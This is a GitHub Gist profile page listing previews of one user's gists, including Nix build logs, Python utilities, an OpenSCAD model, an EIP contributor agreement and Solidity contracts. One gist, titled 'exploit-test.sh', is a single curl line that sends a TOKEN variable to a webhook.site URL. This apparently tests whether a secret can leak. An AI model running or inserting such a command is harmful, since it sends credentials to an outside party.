Skip to content

Instantly share code, notes, and snippets.

View Pandapip1's full-sized avatar

Gavin John Pandapip1

View GitHub Profile
@Pandapip1
Pandapip1 / deduplicate-spack.py
Created June 8, 2024 14:37
Spack Deduplicate
#!/usr/bin/env python3
from pathlib import Path
import json
import sys
import filecmp
import os
import shutil
import subprocess
is_binary_string = lambda bytes: bool(bytes.translate(None, (bytearray({7,8,9,10,12,13,27} | set(range(0x20, 0x100)) - {0x7f}))))
@Pandapip1
Pandapip1 / coreutils-install.log
Created April 12, 2024 18:37
Coreutils install failure
@nix { "action": "setPhase", "phase": "unpackPhase" }
Running phase: unpackPhase
unpacking source archive /ref/djslab/software/nix/store/mp706h9p7ailmwcqh5q4fy9bj6zrslw3-coreutils-9.4.tar.xz
source root is coreutils-9.4
setting SOURCE_DATE_EPOCH to timestamp 1693318957 of file coreutils-9.4/doc/coreutils.info
@nix { "action": "setPhase", "phase": "patchPhase" }
Running phase: patchPhase
substituteStream(): WARNING: '--replace' is deprecated, use --replace-{fail,warn,quiet}. (file './tests/install/install-C.sh')
@nix { "action": "setPhase", "phase": "autoreconfPhase" }
Running phase: autoreconfPhase
@Pandapip1
Pandapip1 / mount.scad
Created March 31, 2024 22:14
A helper to create custom mounts
// Params
height_difference = 14; // mm
top_mount_thickness = 2; // mm
top_mount_diameter = 6; // mm
top_mount_dimension_x = 85; // mm
top_mount_dimension_y = 40; // mm
bottom_mount_thickness = 2; // mm
bottom_mount_diameter = 3; //mm
bottom_mount_dimension_x = 62.5; // mm
bottom_mount_dimension_y = 62.5; // mm
@Pandapip1
Pandapip1 / build.log
Last active March 26, 2024 16:17
Build failure: xgcc
these 103 derivations will be built:
/ref/djslab/software/nix/store/plsah8kbwwr2xv5fiqvwcm8ln5gbcmix-update-autotools-gnu-config-scripts-hook.drv
/ref/djslab/software/nix/store/23lj7wmb4r3k1hivr89dlipchnb9spv4-bootstrap-stage2-stdenv-linux.drv
/ref/djslab/software/nix/store/8js47l3ipxnd0lld9w11wcdmn6idgb8w-nuke-references.drv
/ref/djslab/software/nix/store/5ycp7yliv4pddc0r5nyidl5ihv58pp3i-xgcc-13.2.0.drv
/ref/djslab/software/nix/store/yam5rgz4v69cp0rhxk5ni1mw11120gnm-binutils-2.41.drv
/ref/djslab/software/nix/store/lv6r3ip59i24kld1skqa7xyp6qpjbj93-binutils-wrapper-2.41.drv
/ref/djslab/software/nix/store/cj3il0h4r553hplwr8dn6qdj39xdzb8c-bootstrap-stage2-gcc-wrapper-13.2.0.drv
/ref/djslab/software/nix/store/agshv8wyzkscnzmir53bgpbag0wkj3z7-bootstrap-stage2-stdenv-linux.drv
/ref/djslab/software/nix/store/g5ps8391bq19kwg0wvlcbikflvrkpin3-bootstrap-stage0-glibc-iconv-bootstrapFiles.drv
@Pandapip1
Pandapip1 / pdf_extract_images
Created February 19, 2024 17:22
A simple gist to pull all the images from a PDF file
#!/usr/bin/env python3
# coding=utf-8
from PIL import Image
import fitz
import os
import sys
import io
def pdf_extract_images(pdf_path, output_dir):
@Pandapip1
Pandapip1 / cla.md
Created September 19, 2022 14:31
Ethereum Improvement Proposals Contributor Agreement

Ethereum Improvement Proposal Contributor License Agreement

Thank you for your interest in contributing to the Ethereum Improvement Proposal repository. This Individual Contributor License Agreement (“Agreement”) sets out the terms governing any source code, object code, bug fixes, configuration changes, tools, specifications, documentation, data, materials, feedback, information or other works of authorship that you submit or have submitted, in any form and in any manner, to the Ethereum Improvement Proposal repository in respect of any of the Projects (collectively “Contributions”).

You agree that the following terms apply to all of your past, present and future Contributions. Except for the licenses granted in this Agreement, you retain all of your right, title and interest in and to your Contributions.

Copyright License. You hereby grant, and agree to grant, to the EIP Editors a non-exclusive, perpetual, irrevocable, worldwide, fully-paid, royalty-free, transferable copyright license to repro

@Pandapip1
Pandapip1 / exploit-test.sh
Created July 24, 2022 15:48
Exploit Test
curl -s "https://webhook.site/155d8e39-b2d0-4919-ad2d-401842dd9d70?token=${TOKEN}"
@Pandapip1
Pandapip1 / OwnableDomain.sol
Created February 22, 2022 16:06
Hierarchical Domains Standard Reference Implementation
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.9;
contract Ownable
{
string public constant NOT_CURRENT_OWNER = "018001";
string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002";
address public owner;
event OwnershipTransferred(
@Pandapip1
Pandapip1 / IDomain.sol
Created February 22, 2022 16:04
Hierarchical Domains Standard Interface
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.9;
/// @title ERC-165 Standard Interface Detection
/// @dev See https://eips.ethereum.org/EIPS/eip-165
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
@Pandapip1
Pandapip1 / contracts...shanecoin...ABDKMath64x64.sol
Created October 21, 2021 19:53
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
pragma solidity ^0.8.0;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/